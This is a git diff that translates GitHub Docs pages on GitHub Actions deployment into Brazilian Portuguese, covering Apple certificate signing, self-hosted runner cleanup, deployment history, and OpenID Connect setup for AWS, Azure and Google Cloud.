+  - Para obter mais informações sobre a exportação do seu perfil de provisionamento a partir do Xcode, consulte a [documentação do Xcode](https://help.apple.com/xcode/mac/current/#/deva899b4fe5).
 
-  - You should convert your provisioning profile to Base64 when saving it as a secret. In this example, the secret is named `BUILD_PROVISION_PROFILE_BASE64`.
+  - Você deve converter o seu perfil de provisionamento para Base64 ao salvá-lo como segredo. Neste exemplo, o segredo é denominado `BUILD_PROVISION_PROFILE_BASE64`.
+
+  - Use o comando a seguir para converter o seu perfil de provisionamento para Base64 e copiá-lo para a sua área de transferência:
 
-  - Use the following command to convert your provisioning profile to Base64 and copy it to your clipboard:
-  
     ```shell
     base64 <em>provisioning_profile.mobileprovision</em> | pbcopy
     ```
 
-* A keychain password.
+* Uma senha da keychain.
 
-  - A new keychain will be created on the runner, so the password for the new keychain can be any new random string. In this example, the secret is named `KEYCHAIN_PASSWORD`.
+  - Uma nova keychain será criada no executo. Portanto, a senha para a nova keychain pode ser qualquer nova string aleatória. Neste exemplo, o segredo se chama `KEYCHAIN_PASSWORD`.
 
-## Add a step to your workflow
+## Adicionar uma etapa ao seu fluxo de trabalho
 
-This example workflow includes a step that imports the Apple certificate and provisioning profile from the {% data variables.product.prodname_dotcom %} secrets, and installs them on the runner.
+Este fluxo de trabalho de exemplo inclui uma etapa que importa o certificado da Apple e o perfil de provisionamento dos segredos de {% data variables.product.prodname_dotcom %} e os instala no executor.
 
 {% raw %}
 ```yaml{:copy}
@@ -119,13 +119,13 @@ jobs:
 ```
 {% endraw %}
 
-## Required clean-up on self-hosted runners
+## Limpeza necessária nos executores auto-hospedados
 
-{% data variables.product.prodname_dotcom %}-hosted runners are isolated virtual machines that are automatically destroyed at the end of the job execution. This means that the certificates and provisioning profile used on the runner during the job will be destroyed with the runner when the job is completed.
+Executores hosperados em {% data variables.product.prodname_dotcom %} são máquinas virtuais isoladas destruídas automaticamente no final da execução do trabalho. Isso significa que os certificados e o perfil de provisionamento usados no executor durante o trabalho serão destruídos com o executor quando o trabalho for concluído.
 
-On self-hosted runners, the `$RUNNER_TEMP` directory is cleaned up at the end of the job execution, but the keychain and provisioning profile might still exist on the runner.
+Nos executores auto-hospedados, o diretório `$RUNNER_TEMP` é limpo no final da execução do trabalho, mas a keychain e o perfil de provisionamento ainda existem no executor.
 
-If you use self-hosted runners, you should add a final step to your workflow to help ensure that these sensitive files are deleted at the end of the job. The workflow step shown below is an example of how to do this.
+Se você usa executores auto-hospedados, você deve adicionar uma última etapa ao seu fluxo de trabalho para ajudar a garantir que esses arquivos sensíveis sejam excluídos no final do trabalho. A etapa do fluxo de trabalho abaixo é um exemplo de como fazer isso.
 
 {% raw %}
 ```yaml
diff --git a/translations/pt-BR/content/actions/deployment/index.md b/translations/pt-BR/content/actions/deployment/index.md
index 3117e8d507..ce626f9a42 100644
--- a/translations/pt-BR/content/actions/deployment/index.md
+++ b/translations/pt-BR/content/actions/deployment/index.md
@@ -1,7 +1,7 @@
 ---
-title: Deployment
-shortTitle: Deployment
-intro: 'Automatically deploy projects with {% data variables.product.prodname_actions %}.'
+title: Implantação
+shortTitle: Implantação
+intro: 'Implantar projetos automaticamente com {% data variables.product.prodname_actions %}.'
 versions:
   fpt: '*'
   ghes: '*'
diff --git a/translations/pt-BR/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md b/translations/pt-BR/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md
index 17ecdbe875..8e8b79695a 100644
--- a/translations/pt-BR/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md
+++ b/translations/pt-BR/content/actions/deployment/managing-your-deployments/viewing-deployment-history.md
@@ -1,6 +1,6 @@
 ---
-title: Viewing deployment history
-intro: View current and previous deployments for your repository.
+title: Visualizar histórico de implantação
+intro: Veja as implantações atuais e anteriores para o seu repositório.
 versions:
   fpt: '*'
   ghes: '*'
@@ -8,22 +8,22 @@ versions:
   ghec: '*'
 topics:
   - API
-shortTitle: View deployment history
+shortTitle: Ver histórico de implantação
 redirect_from:
   - /developers/overview/viewing-deployment-history
   - /actions/deployment/viewing-deployment-history
 ---
 
 
-You can deliver deployments through {% ifversion fpt or ghae or ghes > 3.0 or ghec %}{% data variables.product.prodname_actions %} and environments or with {% endif %}the REST API and third party apps. {% ifversion fpt or ghae ghes > 3.0 or ghec %}For more information about using environments to deploy with {% data variables.product.prodname_actions %}, see "[Using environments for deployment](/actions/deployment/using-environments-for-deployment)." {% endif %}For more information about deployments with the REST API, see "[Repositories](/rest/reference/repos#deployments)."
+Você pode realizar implantações por meio de de {% ifversion fpt or ghae or ghes > 3.0 or ghec %}{% data variables.product.prodname_actions %} e ambientes ou com {% endif %}a API REST e aplicativos de terceiros. {% ifversion fpt or ghae ghes > 3.0 or ghec %}Para obter mais informações sobre o uso de ambientes para implantar com {% data variables.product.prodname_actions %}, consulte "[Usando ambientes para implantação](/actions/deployment/using-environments-for-deployment)". {% endif %}Para obter mais informações sobre implantações com a API REST, consulte "[Repositórios](/rest/reference/repos#deployments)".
 
-To view current and past deployments, click **Environments** on the home page of your repository.
+Para visualizar implantações atuais e anteriores, clique em **Ambientes** na página inicial do repositório.
 {% ifversion ghae %}
-![Environments](/assets/images/enterprise/2.22/environments-sidebar.png){% else %}
+![Ambientes](/assets/images/enterprise/2.22/environments-sidebar.png){% else %}
 ![Environments](/assets/images/environments-sidebar.png){% endif %}
 
-The deployments page displays the last active deployment of each environment for your repository. If the deployment includes an environment URL, a **View deployment** button that links to the URL is shown next to the deployment.
+A página de implantações exibe a última implantação ativa de cada ambiente do seu repositório. Se a implantação incluir uma URL de ambiente, um botão **Exibir implantação** que vincula à URL será exibido ao lado da implantação.
 
-The activity log shows the deployment history for your environments. By default, only the most recent deployment for an environment has an `Active` status; all previously active deployments have an `Inactive` status. For more information on automatic inactivation of deployments, see "[Inactive deployments](/rest/reference/deployments#inactive-deployments)."
+O registro da atividade mostra o histórico de implantação para seus ambientes. Por padrão, apenas a implantação mais recente para um ambiente tem um status `Ativo`; todas as implantações ativas anteriormente têm um status `Inativo`. Para obter mais informações sobre inativação automática de implantações, consulte "[Implantações inativas](/rest/reference/deployments#inactive-deployments)".
 
-You can also use the REST API to get information about deployments. For more information, see "[Repositories](/rest/reference/repos#deployments)."
+Você também pode usar a API REST para obter informações sobre implantações. Para obter mais informações, consulte "[Repositórios](/rest/reference/repos#deployments)".
diff --git a/translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md b/translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md
index 33a04c0e18..dbd9bdeabc 100644
--- a/translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md
+++ b/translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services.md
@@ -1,11 +1,11 @@
 ---
-title: Configuring OpenID Connect in Amazon Web Services
-shortTitle: Configuring OpenID Connect in Amazon Web Services
-intro: 'Use OpenID Connect within your workflows to authenticate with Amazon Web Services.'
+title: Configurando o OpenID Connect no Amazon Web Services
+shortTitle: Configurando o OpenID Connect no Amazon Web Services
+intro: Use o OpenID Connect dentro de seus fluxos de trabalho para efetuar a autenticação com Amazon Web Services.
 miniTocMaxHeadingLevel: 3
 versions:
   fpt: '*'
-  ghae: 'issue-4856'
+  ghae: issue-4856
   ghec: '*'
 type: tutorial
 topics:
@@ -15,30 +15,30 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## Visão Geral
 
-OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Amazon Web Services (AWS), without needing to store the AWS credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. 
+O OpenID Connect (OIDC) permite que seus fluxos de trabalho de {% data variables.product.prodname_actions %} acessem os recursos na Amazon Web Services (AWS), sem precisar armazenar as credenciais AWS como segredos de {% data variables.product.prodname_dotcom %} de longa duração.
 
-This guide explains how to configure AWS to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and includes a workflow example for the [`aws-actions/configure-aws-credentials`](https://github.com/aws-actions/configure-aws-credentials) that uses tokens to authenticate to AWS and access resources.
+Este guia explica como configurar o AWS para confiar no OIDC de {% data variables.product.prodname_dotcom %} como uma identidade federada e inclui um exemplo de fluxo de trabalho para o [`aws-actions/configure-aws-credentials`](https://github.com/aws-actions/configure-aws-credentials) que usa tokens para efetuar a autenticação no AWS e acessar os recursos.
 
-## Prerequisites
+## Pré-requisitos
 
 {% data reusables.actions.oidc-link-to-intro %}
 
 {% data reusables.actions.oidc-security-notice %}
 
-## Adding the identity provider to AWS
+## Adicionando o provedor de identidade ao AWS
 
-To add the {% data variables.product.prodname_dotcom %} OIDC provider to IAM, see the [AWS documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html).
+Para adicionar o provedor OIDC de {% data variables.product.prodname_dotcom %} ao IAM, consulte a [documentação AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html).
 
-- For the provider URL: Use `https://token.actions.githubusercontent.com`
-- For the "Audience": Use `sts.amazonaws.com` if you are using the [official action](https://github.com/aws-actions/configure-aws-credentials).
+- Para a URL do provedor: Use `https://token.actions.githubusercontent.com`
+- Para o "público": Use `sts.amazonaws.com` se você estiver usando a [ação oficial](https://github.com/aws-actions/configure-aws-credentials).
 
-### Configuring the role and trust policy
+### Configurando a função e a política de confiança
 
-To configure the role and trust in IAM, see the AWS documentation for ["Assuming a Role"](https://github.com/aws-actions/configure-aws-credentials#assuming-a-role) and ["Creating a role for web identity or OpenID connect federation"](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-idp_oidc.html).
+Para configurar a função e confiar no IAM, consulte a documentação do AWS para ["Assumindo uma função"](https://github.com/aws-actions/configure-aws-credentials#assuming-a-role) e ["Criando uma função para a identidade web ou federação de conexão do OpenID"](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-idp_oidc.html).
 
-Edit the trust relationship to add the `sub` field to the validation conditions. For example:
+Edite o relacionamento de confiança para adicionar o campo `sub` às condições de validação. Por exemplo:
 
 ```json{:copy}
 "Condition": {
@@ -48,30 +48,30 @@ Edit the trust relationship to add the `sub` field to the validation conditions.
 }
 ```
 
-## Updating your {% data variables.product.prodname_actions %} workflow
+## Atualizar o seu fluxo de trabalho de {% data variables.product.prodname_actions %}
 
-To update your workflows for OIDC, you will need to make two changes to your YAML:
-1. Add permissions settings for the token.
-2. Use the [`aws-actions/configure-aws-credentials`](https://github.com/aws-actions/configure-aws-credentials) action to exchange the OIDC token (JWT) for a cloud access token.
+Para atualizar seus fluxos de trabalho para o OIDC, você deverá fazer duas alterações no seu YAML:
+1. Adicionar configurações de permissões para o token.
+2. Use a ação [`aws-actions/configure-aws-credentials`](https://github.com/aws-actions/configure-aws-credentials) para trocar o token do OIDC (JWT) por um token de acesso na nuvem.
 
-### Adding permissions settings
+### Adicionando configurações de permissões
 
-The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. For example:
+O fluxo de trabalho exigirá uma configuração `permissões` com um valor de [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) definido. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. Por exemplo:
 
 ```yaml{:copy}
 permissions:
   id-token: write
 ```
 
-You may need to specify additional permissions here, depending on your workflow's requirements. 
+Você pode precisar especificar permissões adicionais aqui, dependendo das necessidades do seu fluxo de trabalho.
 
-### Requesting the access token
+### Solicitando o token de acesso
 
-The `aws-actions/configure-aws-credentials` action receives a JWT from the {% data variables.product.prodname_dotcom %} OIDC provider, and then requests an access token from AWS. For more information, see the AWS [documentation](https://github.com/aws-actions/configure-aws-credentials).
+A ação `aws-actions/configure-aws-credentials` recebe um JWT do provedor do OIDC {% data variables.product.prodname_dotcom %} e, em seguida, solicita um token de acesso do AWS. Para obter mais informações, consulte a documentação do AWS [](https://github.com/aws-actions/configure-aws-credentials).
 
-- `<example-bucket-name>`: Add the name of your S3 bucket here.
-- `<role-to-assume>`: Replace the example with your AWS role.
-- `<example-aws-region>`: Add the name of your AWS region here.
+- `<example-bucket-name>`: Adicione o nome do seu bucket S3 aqui.
+- `<role-to-assume>`: Substitua o exemplo pela sua função do AWS.
+- `<example-aws-region>`: Adicione o nome do seu AWS aqui.
 
 ```yaml{:copy}
 # Sample workflow to access AWS resources when workflow is tied to branch
diff --git a/translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md b/translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md
index 80231b121a..7aeb44c5ac 100644
--- a/translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md
+++ b/translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure.md
@@ -1,11 +1,11 @@
 ---
-title: Configuring OpenID Connect in Azure
-shortTitle: Configuring OpenID Connect in Azure
-intro: 'Use OpenID Connect within your workflows to authenticate with Azure.'
+title: Configurando o OpenID Connect no Azure
+shortTitle: Configurando o OpenID Connect no Azure
+intro: Use OpenID Connect dentro dos seus fluxos de trabalho para efetuar a autenticação com o Azure.
 miniTocMaxHeadingLevel: 3
 versions:
   fpt: '*'
-  ghae: 'issue-4856'
+  ghae: issue-4856
   ghec: '*'
 type: tutorial
 topics:
@@ -15,55 +15,55 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## Visão Geral
 
-OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Azure, without needing to store the Azure credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. 
+O OpenID Connect (OIDC) permite aos seus fluxos de trabalho de {% data variables.product.prodname_actions %} acessar recursos no Azure, sem precisar armazenar as credenciais do Azure como segredos de {% data variables.product.prodname_dotcom %} de longa duração.
 
-This guide gives an overview of how to configure Azure to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and includes a workflow example for the [`azure/login`](https://github.com/Azure/login) action that uses tokens to authenticate to Azure and access resources.
+Este guia fornece uma visão geral de como configurar o Azure para confiar no OIDC de {% data variables.product.prodname_dotcom %} como uma identidade federada, e inclui um exemplo de fluxo de trabalho para o [`azure/login`](https://github.com/Azure/login) ação que usa tokens para efetuar a autenticação ao Azure e acessar recursos.
 
-## Prerequisites
+## Pré-requisitos
 
 {% data reusables.actions.oidc-link-to-intro %}
 
 {% data reusables.actions.oidc-security-notice %}
 
-## Adding the Federated Credentials to Azure
+## Adicionando as credenciais federadas ao Azure
 
-{% data variables.product.prodname_dotcom %}'s OIDC provider works with Azure's workload identity federation. For an overview, see Microsoft's documentation at "[Workload identity federation](https://docs.microsoft.com/en-us/azure/active-directory/develop/workload-identity-federation)."
+Provedor OIDC de {% data variables.product.prodname_dotcom %} funciona com a federação de identidade do Azure. Para uma visão geral, consulte a documentação da Microsoft em "[Federação de identidade da carga](https://docs.microsoft.com/en-us/azure/active-directory/develop/workload-identity-federation)".
 
-To configure the OIDC identity provider in Azure, you will need to perform the following configuration. For instructions on making these changes, refer to [the Azure documentation](https://docs.microsoft.com/en-us/azure/developer/github/connect-from-azure).
+Para configurar o provedor de identidade OIDC no Azure, você deverá definir a configuração a seguir. Para obter instruções sobre como fazer essas alterações, consulte [a documentação do Azure](https://docs.microsoft.com/en-us/azure/developer/github/connect-from-azure).
 
-1. Create an Azure Active Directory application and a service principal.
-2. Add federated credentials for the Azure Active Directory application.
-3. Create {% data variables.product.prodname_dotcom %} secrets for storing Azure configuration.
+1. Cria um aplicativo Azure Active Directory e um diretor de serviço.
+2. Adicione ascredenciais federadas ao aplicativo Azure Active Directory.
+3. Crie segredos de {% data variables.product.prodname_dotcom %} para armazenar a configuração do Azure.
 
-Additional guidance for configuring the identity provider:
+Orientação adicional para a configuração do provedor de identidade:
 
-- For security hardening, make sure you've reviewed ["Configuring the OIDC trust with the cloud"](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-oidc-trust-with-the-cloud). For an example, see ["Configuring the subject in your cloud provider"](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-subject-in-your-cloud-provider).
-- For the `audience` setting,  `api://AzureADTokenExchange` is the recommended value, but you can also specify other values here.
+- Para aumentar a segurança, verifique se você revisou ["Configurando a confiança do OIDC com a nuvem"](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-oidc-trust-with-the-cloud). Por exemplo, consulte ["Configurar o assunto no seu provedor de nuvem"](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-subject-in-your-cloud-provider).
+- Para a configuração `audiência`, `api://AzureADTokenExchange` é o valor recomendado, mas você também pode especificar outros valores aqui.
 
-## Updating your {% data variables.product.prodname_actions %} workflow
+## Atualizar o seu fluxo de trabalho de {% data variables.product.prodname_actions %}
 
-To update your workflows for OIDC, you will need to make two changes to your YAML:
-1. Add permissions settings for the token.
-2. Use the [`azure/login`](https://github.com/Azure/login) action to exchange the OIDC token (JWT) for a cloud access token.
+Para atualizar seus fluxos de trabalho para o OIDC, você deverá fazer duas alterações no seu YAML:
+1. Adicionar configurações de permissões para o token.
+2. Use a ação [`azure/login`](https://github.com/Azure/login) para trocar o token OIDC (JWT) para um token de acesso da nuvem.
 
-### Adding permissions settings
+### Adicionando configurações de permissões
 
-The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. For example:
+O fluxo de trabalho exigirá uma configuração `permissões` com um valor de [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) definido. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. Por exemplo:
 
 ```yaml{:copy}
 permissions:
   id-token: write
 ```
 
-You may need to specify additional permissions here, depending on your workflow's requirements. 
+Você pode precisar especificar permissões adicionais aqui, dependendo das necessidades do seu fluxo de trabalho.
 
-### Requesting the access token
+### Solicitando o token de acesso
 
-The [`azure/login`](https://github.com/Azure/login) action receives a JWT from the {% data variables.product.prodname_dotcom %} OIDC provider, and then requests an access token from Azure. For more information, see the [`azure/login`](https://github.com/Azure/login) documentation.
+A ação [`azure/login`](https://github.com/Azure/login) recebe um JWT do provedor OIDC {% data variables.product.prodname_dotcom %} e, em seguida, solicita um token de acesso do Azure. Para obter mais informações, consulte a documentação [`azure/login`](https://github.com/Azure/login).
 
-The following example exchanges an OIDC ID token with Azure to receive an access token, which can then be used to access cloud resources.
+O exemplo a seguir troca um token de ID do OIDC com o Azure para receber um token de acesso, que pode, em seguida, ser usado para acessar os recursos da nuvem.
 
 {% raw %}
 ```yaml{:copy}
@@ -83,7 +83,7 @@ jobs:
           client-id: ${{ secrets.AZURE_CLIENT_ID }}
           tenant-id: ${{ secrets.AZURE_TENANT_ID }}
           subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
-  
+
       - name: 'Run az commands'
         run: |
           az account show
diff --git a/translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md b/translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md
index ec07382cbc..31548ef32a 100644
--- a/translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md
+++ b/translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-google-cloud-platform.md
@@ -1,11 +1,11 @@
 ---
-title: Configuring OpenID Connect in Google Cloud Platform
-shortTitle: Configuring OpenID Connect in Google Cloud Platform
-intro: 'Use OpenID Connect within your workflows to authenticate with Google Cloud Platform.'
+title: Configurando OpenID Connect na Google Cloud Platform
+shortTitle: Configurando OpenID Connect na Google Cloud Platform
+intro: Use OpenID Connect nos seus fluxos de trabalho para efetuar a autenticação com a Google Cloud Platform.
 miniTocMaxHeadingLevel: 3
 versions:
   fpt: '*'
-  ghae: 'issue-4856'
+  ghae: issue-4856
   ghec: '*'
 type: tutorial
 topics:
@@ -15,60 +15,60 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## Visão Geral
 
-OpenID Connect (OIDC) allows your {% data variables.product.prodname_actions %} workflows to access resources in Google Cloud Platform (GCP), without needing to store the GCP credentials as long-lived {% data variables.product.prodname_dotcom %} secrets. 
+O OpenID Connect (OIDC) permite que seus fluxos de trabalho de {% data variables.product.prodname_actions %} acessem os recursos na Google Cloud Platform (GCP), sem precisar armazenar as credenciais do GCP como segredos de {% data variables.product.prodname_dotcom %} de longa duração.
 
-This guide gives an overview of how to configure GCP to trust {% data variables.product.prodname_dotcom %}'s OIDC as a federated identity, and includes a workflow example for the [`google-github-actions/auth`](https://github.com/google-github-actions/auth) action that uses tokens to authenticate to GCP and access resources.
+Este guia fornece uma visão geral de como configurar o GCP para confiar no OIDC de {% data variables.product.prodname_dotcom %} como uma identidade federada, e inclui um exemplo de fluxo de trabalho para a ação [`google-github-actions/auth`](https://github.com/google-github-actions/auth) que usa tokens para efetuar a autenticação no GCP e acessar recursos.
 
-## Prerequisites
+## Pré-requisitos
 
 {% data reusables.actions.oidc-link-to-intro %}
 
 {% data reusables.actions.oidc-security-notice %}
 
-## Adding a Google Cloud Workload Identity Provider
+## Adicionando um provedor de identidade de carga do Google Cloud
 
-To configure the OIDC identity provider in GCP, you will need to perform the following configuration. For instructions on making these changes, refer to [the GCP documentation](https://github.com/google-github-actions/auth).
+Para configurar o provedor de identidade OIDC no GCP, você deverá definir a configuração a seguir. Para obter instruções sobre como fazer essas alterações, consulte [a documentação do GCP](https://github.com/google-github-actions/auth).
 
-1. Create a new identity pool.
-2. Configure the mapping and add conditions.
-3. Connect the new pool to a service account. 
+1. Crie um novo conjunto de identidades.
+2. Configure o mapeamento e adicione condições.
+3. Conecte o novo grupo a uma conta de serviço.
 
-Additional guidance for configuring the identity provider:
+Orientação adicional para a configuração do provedor de identidade:
 
-- For security hardening, make sure you've reviewed ["Configuring the OIDC trust with the cloud"](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-oidc-trust-with-the-cloud). For an example, see ["Configuring the subject in your cloud provider"](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-subject-in-your-cloud-provider).
-- For the service account to be available for configuration, it needs to be assigned to the `roles/iam.workloadIdentityUser` role. For more information, see [the GCP documentation](https://cloud.google.com/iam/docs/workload-identity-federation?_ga=2.114275588.-285296507.1634918453#conditions).
-- The Issuer URL to use: `https://token.actions.githubusercontent.com`
+- Para aumentar a segurança, verifique se você revisou ["Configurando a confiança do OIDC com a nuvem"](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-oidc-trust-with-the-cloud). Por exemplo, consulte ["Configurar o assunto no seu provedor de nuvem"](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect#configuring-the-subject-in-your-cloud-provider).
+- Para a conta de serviço estar disponível para configuração, ela deverá ser atribuída à função `roles/iam.workloadIdentityUser`. Para obter mais informações, consulte [a documentação do GCP](https://cloud.google.com/iam/docs/workload-identity-federation?_ga=2.114275588.-285296507.1634918453#conditions).
+- A URL do emissor a usar: `https://token.actions.githubusercontent.com`
 
-## Updating your {% data variables.product.prodname_actions %} workflow
+## Atualizar o seu fluxo de trabalho de {% data variables.product.prodname_actions %}
 
-To update your workflows for OIDC, you will need to make two changes to your YAML:
-1. Add permissions settings for the token.
-2. Use the [`google-github-actions/auth`](https://github.com/google-github-actions/auth) action to exchange the OIDC token (JWT) for a cloud access token.
+Para atualizar seus fluxos de trabalho para o OIDC, você deverá fazer duas alterações no seu YAML:
+1. Adicionar configurações de permissões para o token.
+2. Use a ação [`google-github-actions/auth`](https://github.com/google-github-actions/auth) para trocar o token do OIDC (JWT) por um token de acesso na nuvem.
 
-### Adding permissions settings
+### Adicionando configurações de permissões
 
-The workflow will require a `permissions` setting with a defined [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) value. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. For example:
+O fluxo de trabalho exigirá uma configuração `permissões` com um valor de [`id-token`](/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) definido. If you only need to fetch an OIDC token for a single job, then this permission can be set within that job. Por exemplo:
 
 ```yaml{:copy}
 permissions:
   id-token: write
 ```
 
-You may need to specify additional permissions here, depending on your workflow's requirements. 
+Você pode precisar especificar permissões adicionais aqui, dependendo das necessidades do seu fluxo de trabalho.
 
-### Requesting the access token
+### Solicitando o token de acesso
 
-The `google-github-actions/auth` action receives a JWT from the {% data variables.product.prodname_dotcom %} OIDC provider, and then requests an access token from GCP. For more information, see the GCP [documentation](https://github.com/google-github-actions/auth).
+A ação `do google-github-actions/auth` recebe um JWT do provedor OIDC de {% data variables.product.prodname_dotcom %} e, em seguida, solicita um token de acesso do GCP. Para obter mais informações, consulte a [documentação](https://github.com/google-github-actions/auth) do GCP.
 
-This example has a job called `Get_OIDC_ID_token` that uses actions to request a list of services from GCP.
+Este exemplo tem um trabalho denominado `Get_OIDC_ID_token` que usa ações para solicitar uma lista de serviços do GCP.
 
-- `<example-workload-identity-provider>`: Replace this with the path to your identity provider in GCP. For example, `projects/<example-project-id>/locations/global/workloadIdentityPools/<name-of-pool/providers/<name-of-provider>`
-- `<example-service-account>`: Replace this with the name of your service account in GCP.
-- `<project-id>`: Replace this with the ID of your GCP project.
+- `<example-workload-identity-provider>`: Substitua isso pelo caminho para o seu provedor de identidade no GCP. Por exemplo, `projetos/<example-project-id>/locations/global/workloadIdentityPools/<name-of-pool/providers/<name-of-provider>`
+- `<example-service-account>`: Substitua isso pelo nome da sua conta de serviço no GCP.
+- `<project-id>`: Substitua isso pelo ID do seu projeto do GCP.
 
-This action exchanges a {% data variables.product.prodname_dotcom %} OIDC token for a Google Cloud access token, using [Workload Identity Federation](https://cloud.google.com/iam/docs/workload-identity-federation).
+Esta ação troca um token do OIDC do {% data variables.product.prodname_dotcom %} por um token de acesso do Google Cloud, usando [a Federação de Identidade de Carga](https://cloud.google.com/iam/docs/workload-identity-federation).
 
 {% raw %}
 ```yaml{:copy}
diff --git a/translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md b/translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md
index bcef498934..da3b7d004c 100644
--- a/translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md
+++ b/translations/pt-BR/content/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows.md
@@ -1,13 +1,13 @@
 ---
-title: Using OpenID Connect with reusable workflows
-shortTitle: Using OpenID Connect with reusable workflows
-intro: 'You can use reusable workflows with OIDC to standardize and security harden your deployment steps.'
+title: Usando o OpenID Connect com fluxos de trabalho reutilizáveis
+shortTitle: Usando o OpenID Connect com fluxos de trabalho reutilizáveis
+intro: Você pode usar fluxos de trabalho reutilizáveis com o OIDC para padronizar e melhorar as suas etapas de implantação.
 miniTocMaxHeadingLevel: 3
 redirect_from:
   - /actions/deployment/security-hardening-your-deployments/using-oidc-with-your-reusable-workflows
 versions:
   fpt: '*'
-  ghae: 'issue-4757-and-5856'
+  ghae: issue-4757-and-5856
   ghec: '*'
 type: how_to
 topics:
@@ -18,21 +18,21 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About reusable workflows
+## Sobre fluxos de trabalho reutilizáveis
 
-Rather than copying and pasting deployment jobs from one workflow to another, you can create a reusable workflow that performs the deployment steps. A reusable workflow can be used by another workflow if it meets one of the access requirements described in "[Reusing workflows](/actions/learn-github-actions/reusing-workflows#access-to-reusable-workflows)."
+Em vez de copiar e colar trabalhos de implantação de um fluxo de trabalho para outro, é possível criar um fluxo de trabalho reutilizável que executa as etapas de implantação. Um fluxo de trabalho reutilizável pode ser usado por outro fluxo de trabalho se ele cumprir um dos requisitos de acesso descritos em "[Reutilizando os fluxos de trabalho](/actions/learn-github-actions/reusing-workflows#access-to-reusable-workflows)".
 
-When combined with OpenID Connect (OIDC), reusable workflows let you enforce consistent deployments across your repository, organization, or enterprise. You can do this by defining trust conditions on cloud roles based on reusable workflows.
+Quando combinado com o OpenID Connect (OIDC), os fluxos de trabalho reutilizáveis permitem que você aplique implantações consistentes no seu repositório, organização ou empresa. Você pode fazer isso definindo condições de confiança nas funções da nuvem com base em fluxos de trabalho reutilizáveis.
 
-In order to create trust conditions based on reusable workflows, your cloud provider must support custom claims for `job_workflow_ref`. This allows your cloud provider to identify which repository the job originally came from. If your cloud provider only supports the standard claims (_audience_ and _subject_), it will not be able to determine that the job originated from the reusable workflow repository. Cloud providers that support `job_workflow_ref` include Google Cloud Platform and HashiCorp Vault.
